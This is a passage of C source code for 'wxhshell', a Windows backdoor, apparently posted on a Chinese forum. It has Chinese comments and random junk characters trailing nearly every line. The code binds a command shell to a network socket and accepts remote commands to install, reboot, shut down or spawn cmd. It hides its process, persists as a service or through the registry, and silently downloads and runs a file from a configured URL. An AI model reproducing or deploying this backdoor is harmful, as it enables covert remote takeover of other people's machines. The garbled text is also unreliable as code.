      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); U?@ s`.  
    break; Ff eX;pi  
  } D8OW|wVE  
  // 安装 71S~*"O0f  
  case 'i': { <0EVq8h  
    if(Install()) /nPNHO>U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xbVvK+  
    else A7`+XqG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2F}D?] A  
    break; vkR,Sn  
    } M0jC:*D`"  
  // 卸载 =d+~l  
  case 'r': { )9pRT dT  
    if(Uninstall()) %`]&c)&#Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G+_Q7-o&d6  
    else pB;U*lt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  1{fu  
    break; Quq X4  
    } i% FpPni  
  // 显示 wxhshell 所在路径 =pT}]  
  case 'p': { `@_j Do  
    char svExeFile[MAX_PATH]; %qycxEVP  
    strcpy(svExeFile,"\n\r"); K~ch OX  
      strcat(svExeFile,ExeFile); a^#\"c  
        send(wsh,svExeFile,strlen(svExeFile),0); z9}WP$W  
    break; _?}[7K!~d  
    } 6E^h#Ozl 9  
  // 重启  BN_I#8r  
  case 'b': { TPBL|^3K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Eo) #t{{  
    if(Boot(REBOOT)) Kggc9^ 7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _c z$w5`  
    else { s)A=hB-V  
    closesocket(wsh); -X]?ql*%`  
    ExitThread(0); F.Sc2n@7-  
    } .or1*-B K  
    break; kB! iEoIBA  
    } y/.I<5+Bu  
  // 关机 M#u~]?hS  
  case 'd': { 0Tv0:c>8;(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ZZ? KD\S5  
    if(Boot(SHUTDOWN)) r|ID]}w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }J^+66{  
    else { =Hd+KvA  
    closesocket(wsh); K,f"Q<sU%  
    ExitThread(0); mNQ~9OJ1  
    } nb30<h  
    break; 0en Bq>vr  
    } _xmS$z)TO  
  // 获取shell i-YSt5iq  
  case 's': { pba`FC4R  
    CmdShell(wsh); v =]!Po&Q-  
    closesocket(wsh); d#U~>wr  
    ExitThread(0); kSfNu{YS  
    break; rw }wQP_'  
  } Zl\$9Q_  
  // 退出 -;Ij ,  
  case 'x': { U/s!Tb>`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9Qb6ek  
    CloseIt(wsh); l+r3|b  
    break; ;CtTdr  
    } KW@][*\uC  
  // 离开 4/N{~  
  case 'q': { J=?P`\h  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); sK/Z 'h{|  
    closesocket(wsh); Qn!KL0w  
    WSACleanup(); khb/"VYd  
    exit(1); \c\z 6;j  
    break; $/FL)m8.3  
        } S\S31pYT  
  } 6 k6}SlN[  
  } 0% zy 6{  
9=}&evGm89  
  // 提示信息 /=@V5)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U3^3nL-M9  
} &Cm$%3  
  } T(z/Jm3  
..fbRt  
  return; `L m9!?  
} 'E)g )@^  
ec&K}+p@  
// shell模块句柄 ~vscATQ  
int CmdShell(SOCKET sock) {%BPP{OFk  
{ Yl`)%6'5|  
STARTUPINFO si; (&!x2M  
ZeroMemory(&si,sizeof(si)); (7A-cC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d",VOhW7)S  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; DEQ7u`6  
PROCESS_INFORMATION ProcessInfo; *%n(t+'q  
char cmdline[]="cmd"; /4YxB,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); H{,qw%.|KA  
  return 0; ^US ol/  
} >*h3u7t  
|0nt u+  
// 自身启动模式 %hVI*p3  
int StartFromService(void) ~[Z,:=z  
{ mO0}Go8  
typedef struct 7U2?in}?Qi  
{ / _! Ed]  
  DWORD ExitStatus; +lhnc{;WJv  
  DWORD PebBaseAddress; /2x@Z>  
  DWORD AffinityMask; y1bo28  
  DWORD BasePriority; V|vXxWm/  
  ULONG UniqueProcessId; 'j$n;3  
  ULONG InheritedFromUniqueProcessId; V)Ze> Pp  
}   PROCESS_BASIC_INFORMATION; )W^$7 Em  
^D?{[LBc  
PROCNTQSIP NtQueryInformationProcess; 2v`Q;%7O  
 s-Qq#T  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; kL e{3>}j  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6^sH3=#  
i'3)5  
  HANDLE             hProcess; b6d}<b9#  
  PROCESS_BASIC_INFORMATION pbi; 7qL B9r  
V$g!#V  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'B;n&tJ   
  if(NULL == hInst ) return 0; giHqc7-PaX  
* zc[t  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3a0% J'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); eL1)_M;{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9;ie[sU:u  
fbW<c`LH  
  if (!NtQueryInformationProcess) return 0; 30b dcDm,  
l9z{pZ\KM  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); X }Fqif4A  
  if(!hProcess) return 0; NL-V",gI-~  
Y'Yu1mH)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5Bp>*MR/".  
9dFo_a*?  
  CloseHandle(hProcess); *YP:-  
8 Y))/]R  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |4!G@-2V:I  
if(hProcess==NULL) return 0; Bejk^V~  
OWZ;X}x  
HMODULE hMod; .RpWE.C  
char procName[255]; w"q^8"j!  
unsigned long cbNeeded; :_:o%  
E&;;2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); XB<Q A>dLh  
P=m l;xp  
  CloseHandle(hProcess); 9)$gD  
a,eEP43dn  
if(strstr(procName,"services")) return 1; // 以服务启动 h|.{dv  
!X\aZ{}Q  
  return 0; // 注册表启动 d Z x  
} N>IkK*v  
BeFXC5-qat  
// 主模块 \t]_UNGyW  
int StartWxhshell(LPSTR lpCmdLine) x$) E^|A+  
{ tja7y"(]  
  SOCKET wsl; bO+ e?&vQ%  
BOOL val=TRUE; LY2QKjgP  
  int port=0; [6CWgQ%Ue  
  struct sockaddr_in door; CcZM0  
#ds@!u+&  
  if(wscfg.ws_autoins) Install(); 7 b 8pWM  
>M7(<V  
port=atoi(lpCmdLine); SN;_.46k  
%=)%$n3=-M  
if(port<=0) port=wscfg.ws_port; a*qc  
87rHW@\](  
  WSADATA data; |XJ|vQGU  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2XrYm"6w  
zKQXmyO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (^$SM uC  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @@& ? ,3  
  door.sin_family = AF_INET; >2mV {i&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); fJ;1ii~  
  door.sin_port = htons(port); "\qm+g  
^TT_B AI  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >g,i"Kg  
closesocket(wsl); slYC\"$  
return 1; UB]]oC<  
} vvP]tRZ  
Bkdt[qDn5P  
  if(listen(wsl,2) == INVALID_SOCKET) { -H$C3V3]  
closesocket(wsl); `.F3&pA  
return 1; #@<L$"L  
} pDt45   
  Wxhshell(wsl);  g:?p/L  
  WSACleanup(); -*;JUSGh  
5}:`CC2,S~  
return 0; Qb@i_SX(fs  
^4=%~Yx  
} c3J12+~;  
}^azj>p5  
// 以NT服务方式启动 1SG^X-(GM/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :`Xg0J+P  
{ ~T9wx   
DWORD   status = 0; 4S*dNYc  
  DWORD   specificError = 0xfffffff; "]B%V!@  
Jm-bE 8b  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?pV!`vp^{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Svm'ds7>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !JbWxGN`jn  
  serviceStatus.dwWin32ExitCode     = 0; -_irkpdC[  
  serviceStatus.dwServiceSpecificExitCode = 0; qP72JxT  
  serviceStatus.dwCheckPoint       = 0; x<=R?4@rq  
  serviceStatus.dwWaitHint       = 0; I~ e,']  
X{P=2h#g  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |)%;B%  
  if (hServiceStatusHandle==0) return; V(0V$&qipc  
N^zFKDJG  
status = GetLastError(); TH*}Ja^/  
  if (status!=NO_ERROR) RU% 4~WC  
{ 0?=a$0_C  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; u_6x{",5I  
    serviceStatus.dwCheckPoint       = 0; Jm,tN/o*  
    serviceStatus.dwWaitHint       = 0; &e99P{\D  
    serviceStatus.dwWin32ExitCode     = status; !rff/0/x"  
    serviceStatus.dwServiceSpecificExitCode = specificError; 40%<E  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); A }d\ ND  
    return; /-Nq DRmJ  
  } <P#:dS%r  
[I=1   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; F_~A8y  
  serviceStatus.dwCheckPoint       = 0; Z |<  
  serviceStatus.dwWaitHint       = 0; sZ#U{LI  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Dq`$3ZeA  
} y':65NMda  
B[fbPrM  
// 处理NT服务事件,比如:启动、停止 w-LaSJ(T  
VOID WINAPI NTServiceHandler(DWORD fdwControl) CM;B{*En  
{ ) h=[7}|  
switch(fdwControl) iIc/%< ;  
{ %nyZ=&u  
case SERVICE_CONTROL_STOP: u|75r%p>  
  serviceStatus.dwWin32ExitCode = 0; t"X^|!hKIF  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [!U! Z'i  
  serviceStatus.dwCheckPoint   = 0; N_?15R7h  
  serviceStatus.dwWaitHint     = 0; fzzk#jU  
  { 13f 'zx(AO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Uac.8wQh  
  } ?4#wVzuzA  
  return; 9)D9'/{L#  
case SERVICE_CONTROL_PAUSE: tfVlIY<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; UP*5M  
  break; ?P(U/DS8  
case SERVICE_CONTROL_CONTINUE: U2jlDx4yg  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; nRcy`A%  
  break; ISg-?h/  
case SERVICE_CONTROL_INTERROGATE: 'L C0hoV  
  break; ?%Gzd(YEY  
}; f s2}a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N V`=T?1[5  
} r>J%Eu/O  
d?)Ic1][  
// 标准应用程序主函数 nT=XWM  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~xf uq{L;  
{ KU;J2Kt  
[H {2<!  
// 获取操作系统版本 C9n*?Mk:  
OsIsNt=GetOsVer(); TsY nsLQY  
GetModuleFileName(NULL,ExeFile,MAX_PATH); YB3 76/  
LKYcE;n  
  // 从命令行安装 L@`:mK+;  
  if(strpbrk(lpCmdLine,"iI")) Install(); z4JhLef%  
qEfg-`*M  
  // 下载执行文件 {}"a_L&[;  
if(wscfg.ws_downexe) { hQaa"U7[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /g$8JL  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;nKhmcQ4  
} +.McC$!s  
0Z jE(3i  
if(!OsIsNt) { H6<3'P  
// 如果时win9x,隐藏进程并且设置为注册表启动 u^( s0q  
HideProc(); Fz2C XC  
StartWxhshell(lpCmdLine); r:H.VAD  
} (1)b> 6  
else lF~!F<^9  
  if(StartFromService()) R/l/GNm  
  // 以服务方式启动 #BX}j&h_  
  StartServiceCtrlDispatcher(DispatchTable);  Vsd4;  
else B* k|NZj  
  // 普通方式启动 34 I Cn~  
  StartWxhshell(lpCmdLine); C5~ +"#B  
)p[Qj58  
return 0; n7hjYNJ  
}
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只看该作者 1 发表于: 2006-10-10
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